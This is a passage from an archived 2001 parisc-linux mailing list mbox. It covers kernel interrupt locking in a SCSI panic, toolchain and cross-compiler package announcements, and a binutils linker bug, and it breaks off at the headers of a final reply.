Don't recall any archs doing that when we did the initial implementation. 

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic
Date: Wed, 23 May 2001 20:13:17 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20010523201317.X23718@parcelfarce.linux.theplanet.co.uk>
References: <200105230853.CAA07709@udlkern.fc.hp.com> <200105231859.MAA00753@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620134 19505 80.91.229.3 (22 Nov 2014 01:35:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:34 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 23 13:27:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96A11482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 May 2001 13:27:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 152e4L-0003XI-00; Wed, 23 May 2001 20:13:17 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200105231859.MAA00753@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Wed, May 23, 2001 at 12:59:57PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11099

On Wed, May 23, 2001 at 12:59:57PM -0600, Grant Grundler wrote:
> Exactly. But if the driver is mucking with IRQ enable/disable,
> does that mean the enable/disable code has to keep reference counts?
> Don't recall any archs doing that when we did the initial implementation. 

cli -> disables irqs on all processors
__cli -> disables irqs on local processor
sti -> enables irqs on all processors
__sti -> enable irqs on local processor

spin_lock_irqsave -> disables interrupts locally, puts the previous
state into the state variable you supplied and acquires the spinlock
spin_lock_irqrestore -> releases the spinlock and restores previous
state from state variable

no need to keep enable/disable counts, the previous state gets stored
for you.  if you're using cli and sti inappropriately, you lose.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Help on PALINUX
Date: Wed, 23 May 2001 13:32:17 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <E152eMj-0005Cw-00@noam.fc.hp.com>
References: <3B09B235.20606@spet.br>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620135 19513 80.91.229.3 (22 Nov 2014 01:35:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:35 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Ricardo Valverde <ricardo@spet.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 23 13:32:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F222482A
	for <parisc-linux@parisc-linux.org>; Wed, 23 May 2001 13:32:20 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 718721006; Wed, 23 May 2001 15:32:19 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id NAA15487;
	Wed, 23 May 2001 13:32:17 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 152eMj-0005Cw-00; Wed, 23 May 2001 13:32:17 -0600
In-Reply-To: Your message of "Mon, 21 May 2001 20:26:29 EDT."
             <3B09B235.20606@spet.br> 
Xref: news.gmane.org gmane.linux.ports.parisc:11100

I'm sending your e-mail to our mailing list parisc-linux@parisc-linux.org
which is a good place to ask this type of question.  I also suggest you
visit our web site at www.parisc-linux.org.  I believe the FAQ and
(searchable) mail archives already contain answers to your questions.

	-Paul Bame

= Hi there,
= 
=    I have one HP9000 E-35, but when i boot with CDROM my machine stop on :
= 
= POSIX conformance testing by UNIFIX
= Lasi version 0 at 0xf0100000 found.
= LED display at f010c000 registered
= 
=    Why on my machine the login screen don't show?
= 
=    Can you help me?
= 
=    Thanks.
= 
=    OBS: Sorry for my bad english
= 
=    Ricardo Valverde
= 
= 
= 
= 
= --20332E87.990644362/atlrel1.hp.com--
= 
= 




From - Thu Nov 08 21:17:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "d.king18" <d.king18@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Wed, 23 May 2001 22:48:24 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <001601c0e3d2$18acf7c0$c9a168d5@name>
Reply-To: "d.king18" <d.king18@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0013_01C0E3DA.79A7F540"
X-Trace: ger.gmane.org 1416620135 19519 80.91.229.3 (22 Nov 2014 01:35:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:35 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 23 15:40:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F5D2482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 May 2001 15:40:32 -0600 (MDT)
Original-Received: from name ([213.104.161.201]) by mta02-svc.ntlworld.com
          (InterMail vM.4.01.02.27 201-229-119-110) with SMTP
          id <20010523214014.CARR290.mta02-svc.ntlworld.com@name>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 23 May 2001 22:40:14 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:11101

This is a multi-part message in MIME format.

------=_NextPart_000_0013_01C0E3DA.79A7F540
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I appear to have inadvertantly got onto your mailing list and ask that =
you remove my e-mail address from it.=20

I received 18 e-mails Friday & Saturday none of which have any meaning =
for me.

Kind regards

D King  (Ms)

------=_NextPart_000_0013_01C0E3DA.79A7F540
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4207.2601" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I appear to have inadvertantly got onto =
your=20
mailing list and ask that you remove my e-mail address from it. =
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I received 18 e-mails Friday &amp; =
Saturday none of=20
which have any meaning for me.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Kind regards</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>D King&nbsp; =
(Ms)</FONT></DIV></BODY></HTML>

------=_NextPart_000_0013_01C0E3DA.79A7F540--





From - Thu Nov 08 21:17:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new hppa toolchain, uploaded to debian archive
Date: Wed, 23 May 2001 16:54:39 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20010523225439.411F937CA8@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620135 19523 80.91.229.3 (22 Nov 2014 01:35:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:35 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 23 16:52:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8036482A
	for <parisc-linux@parisc-linux.org>; Wed, 23 May 2001 16:52:02 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 58E008F2; Wed, 23 May 2001 18:51:58 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 411F937CA8; Wed, 23 May 2001 16:54:39 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:11102

Hi,

There was a slight problem with the glibc in the newcompilers-20010521 set I 
announced yesterday. It was built with a wrong header which caused a problem 
with building gdb and strace. I rebuilt glibc and have placed it and the same 
binutils and gcc at,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/newcompilers-20010523/

After several of us tested the new toolchain and did not find any regressions, 
Paul Bame uploaded the debs to the Debian archive today and they should 
hopefully be available in the next few days. However, since the binutils mess 
is still not completely cleaned up YOU STILL SHOULD NOT APT-GET UPGRADE. For 
now grab them from the above URL and install by hand. If you are sure your 
system is clean of the binutils mess then you can use this toolchain to 
produce binaries for distribution/upload to debian.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa64 cross compiler debs available
Date: Wed, 23 May 2001 17:10:45 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20010523231045.0DF9037CA8@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620136 19526 80.91.229.3 (22 Nov 2014 01:35:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 23 17:08:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A675482A
	for <parisc-linux@parisc-linux.org>; Wed, 23 May 2001 17:08:01 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id D4D6889B; Wed, 23 May 2001 19:07:59 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 0DF9037CA8; Wed, 23 May 2001 17:10:45 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:11103

Hi hppa64 kernel users,

I have built unofficial hppa64-linux cross binutils/gcc debs for use in 
compiling 64 bit kernels on hppa-linux. They are available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/unofficial-debs/

You need both,

binutils-hppa64_2.11.90.0.7-2.0.0.1_hppa.deb
gcc-hppa64_3.0-0pre010427.0.0.1_hppa.deb

They install under /usr so you shouldn't need to modify your path to build a 
64bit kernel. These unofficial debs will not be uploaded to the debian archive 
and are intended as a interim measure until a working mechanism exists to do 
them properly based on the debian source packages.

Let me know if you have any problems.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hppa64 cross compiler debs available
Date: Thu, 24 May 2001 11:38:40 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20010524113840.V8736@linuxcare.com>
References: <20010523231045.0DF9037CA8@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620136 19527 80.91.229.3 (22 Nov 2014 01:35:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:36 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 04:43:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust171.bre.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id A686D482A
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 04:43:28 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 61651B008; Thu, 24 May 2001 11:38:40 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010523231045.0DF9037CA8@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Wed, May 23, 2001 at 05:10:45PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11104

On Wed, May 23, 2001 at 05:10:45PM -0600, Matt Taggart wrote:
> Hi hppa64 kernel users,
> 
> I have built unofficial hppa64-linux cross binutils/gcc debs for use in 
> compiling 64 bit kernels on hppa-linux. They are available at,
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/debian/unofficial-debs/
> 
> You need both,
> 
> binutils-hppa64_2.11.90.0.7-2.0.0.1_hppa.deb
> gcc-hppa64_3.0-0pre010427.0.0.1_hppa.deb

They depend on libc 2.2.3, so if I want to use them for building
the 64 bit kernel-images for boot-floppies to use, I need 2.2.3 on my
build system.  That probably means I need 2.2.3 on the root.bin.

Should I go down that road, or are we sticking with 2.2.1 for
initial install images?

Richard





From - Thu Nov 08 21:17:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic
Date: Thu, 24 May 2001 15:16:14 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20010524151614.X8736@linuxcare.com>
References: <200105230853.CAA07709@udlkern.fc.hp.com> <200105231859.MAA00753@puffin.external.hp.com> <20010523201317.X23718@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620136 19531 80.91.229.3 (22 Nov 2014 01:35:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:36 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	John Marvin <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 08:18:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust171.bre.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9EB6E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 May 2001 08:18:30 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id CC289B008; Thu, 24 May 2001 15:16:14 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010523201317.X23718@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Wed, May 23, 2001 at 08:13:17PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11105

On Wed, May 23, 2001 at 08:13:17PM +0100, Matthew Wilcox wrote:
> On Wed, May 23, 2001 at 12:59:57PM -0600, Grant Grundler wrote:
> > Exactly. But if the driver is mucking with IRQ enable/disable,
> > does that mean the enable/disable code has to keep reference counts?
> > Don't recall any archs doing that when we did the initial implementation. 
> 
> cli -> disables irqs on all processors
> __cli -> disables irqs on local processor
> sti -> enables irqs on all processors
> __sti -> enable irqs on local processor
> 
> spin_lock_irqsave -> disables interrupts locally, puts the previous
> state into the state variable you supplied and acquires the spinlock
> spin_lock_irqrestore -> releases the spinlock and restores previous
> state from state variable
> 
> no need to keep enable/disable counts, the previous state gets stored
> for you.  if you're using cli and sti inappropriately, you lose.

You mean like scsi_request_fn() calling  spin_unlock_irq(&io_request_lock);
when called at interrupt level?

> OK, the problem is that you are getting into a interrupt loop.
> I see the following repeated sequence on the stack:
>
>       intr_extint         <-----------+
>       do_irq_mask                     |
>       do_irq                          |
>       dino_isr                        |
>       sym53c8xx_intr                  |
>       scsi_old_done                   |
>       rw_intr                         |
>       scsi_io_completion              |
>       __scsi_end_request              |
>       scsi_queue_next_request         |
>       scsi_request_fn                 | <<<< re-enables interrupts
>       scsi_dispatch_cmd               |
>       <NEXT INTERRUPT>    >-----------+

I also found

        spin_lock(&lock) can also be used in your interrupt handler if your
        device only uses one interrupt: the kernel guarantees that a interrupt
        handler is never reentered, even if the interrupt handler runs with
        enabled interrupts.

in <http://kt.zork.net/kernel-traffic/kt20000703_74.txt>

Richard





From - Thu Nov 08 21:17:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa64 cross compiler debs available
Date: Thu, 24 May 2001 08:57:25 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <m152wYH-001VltC@bame.riverrock.org>
References: <20010523231045.0DF9037CA8@carmen.fc.hp.com>  
 <20010524113840.V8736@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620137 19533 80.91.229.3 (22 Nov 2014 01:35:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:37 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org,
	bame@www.riverrock.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 08:59:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38466482A
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 08:59:11 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f4OEva367268;
	Thu, 24 May 2001 08:57:36 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id IAA13734;
	Thu, 24 May 2001 08:57:25 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m152wYH-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 08:57:25 -0600 (MDT) 
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Thu, 24 May 2001 11:38:40 BST." <20010524113840.V8736@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11106

> 
> They depend on libc 2.2.3, so if I want to use them for building
> the 64 bit kernel-images for boot-floppies to use, I need 2.2.3 on my
> build system.  That probably means I need 2.2.3 on the root.bin.
> 
> Should I go down that road, or are we sticking with 2.2.1 for
> initial install images?

I recommend sticking with 2.2.1 for the root.bin and maybe base system.  The
apt-get somebody uses for grabbing the xc debs could depend on 2.2.3 and as
will many things before too long.

	-P





From - Thu Nov 08 21:17:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] still getting $$dyncall refs in shlibs
Date: Thu, 24 May 2001 15:32:59 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20010524213301.126241872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620137 19536 80.91.229.3 (22 Nov 2014 01:35:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:37 +0000 (UTC)
Cc: LaMont Jones <lamont@hp.com>
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 15:34:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0F7D482A
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 15:34:14 -0600 (MDT)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel2.hp.com (Postfix) with ESMTP id DD9531950
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 17:34:13 -0400 (EDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id 126241872C; Thu, 24 May 2001 15:33:00 -0600 (MDT)
Content-ID: <26743.990739979.1@cranston.fc.hp.com>
Original-Sender: lamont@hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:11107

With the new toolchain, sipp still builds a libsipp.so.3.1 trips the
bug checker.  Checking everything on the system doesn't find any bad
libs.  Here is the build output for libsipp.so:

gcc -pipe -O3 -fPIC -I../libsipp   -c -o rendering.o rendering.c
gcc -pipe -O3 -fPIC -I../libsipp   -c -o geometric.o geometric.c
gcc -pipe -O3 -fPIC -I../libsipp   -c -o lightsource.o lightsource.c
gcc -pipe -O3 -fPIC -I../libsipp   -c -o objects.o objects.c
gcc -pipe -O3 -fPIC -I../libsipp   -c -o smalloc.o smalloc.c
gcc -pipe -O3 -fPIC -I../libsipp   -c -o transforms.o transforms.c
...
gcc -pipe -O3 -fPIC -I../libsipp   -c -o xalloca.o xalloca.c
gcc -pipe -O3 -fPIC -I../libsipp   -c -o phong.o phong.c
gcc -pipe -O3 -fPIC -I../libsipp   -c -o strauss.o strauss.c
gcc -pipe -O3 -fPIC -I../libsipp   -c -o teapot.o teapot.c
ld --shared -o libsipp.so.3.1 rendering.o geometric.o lightsource.o objects.o smalloc.o transforms.o viewpoint.o basic_shader.o marble.o granite.o mask.o bozo.o bumpy.o planet.o noise.o bezier.o bezier_lex.o pixelbuf.o torus.o cone.o ellipsoid.o prism.o sipp_pixmap.o sipp_bitmap.o wood.o xalloca.o phong.o strauss.o teapot.o  -soname libsipp.so.3 -lc
ld: bfd assertion fail ../../bfd/elf32-hppa.c:941
ld: bfd assertion fail ../../bfd/elf32-hppa.c:941

Of course, if the assertion failure actually killed the linker, that
would help...

I'm at a loss from here - and give it to those who have a clue...
lamont




From - Thu Nov 08 21:17:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still getting $$dyncall refs in shlibs
Date: Thu, 24 May 2001 22:42:33 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010524224233.G23718@parcelfarce.linux.theplanet.co.uk>
References: <20010524213301.126241872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620137 19538 80.91.229.3 (22 Nov 2014 01:35:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: LaMont Jones <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 15:43:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F062F482A
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 15:43:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 1532sL-0001BD-00; Thu, 24 May 2001 22:42:33 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010524213301.126241872C@security.hp.com>; from lamont@hp.com on Thu, May 24, 2001 at 03:32:59PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11108

On Thu, May 24, 2001 at 03:32:59PM -0600, LaMont Jones wrote:
> With the new toolchain, sipp still builds a libsipp.so.3.1 trips the
> bug checker.  Checking everything on the system doesn't find any bad
> libs.  Here is the build output for libsipp.so:

I dug up a machine with binutils 2.11.90.0.1 and tried the same thing..

ld --shared -o libsipp.so.3.1 rendering.o geometric.o lightsource.o objects.o smalloc.o transforms.o viewpoint.o basic_shader.o marble.o granite.o mask.o bozo.o bumpy.o planet.o noise.o bezier.o bezier_lex.o pixelbuf.o torus.o cone.o ellipsoid.o prism.o sipp_pixmap.o sipp_bitmap.o wood.o xalloca.o phong.o strauss.o teapot.o  -soname libsipp.so.3 -lc
make[2]: Leaving directory `/home/demo/sipp/sipp-3.1/libsipp'

$ ls -l libsipp.so.3.1
-rwxr-xr-x    1 demo     demo       128429 May 24 15:36 libsipp.so.3.1
$ nm --dynamic libsipp.so.3.1 |grep '\$\$'
         U $$dyncall

so is there some other bug at work here?

> I'm at a loss from here - and give it to those who have a clue...

Likewise, i wish merely to report a data point.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: still getting $$dyncall refs in shlibs
Date: Thu, 24 May 2001 15:59:30 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20010524215930.76E741872C@security.hp.com>
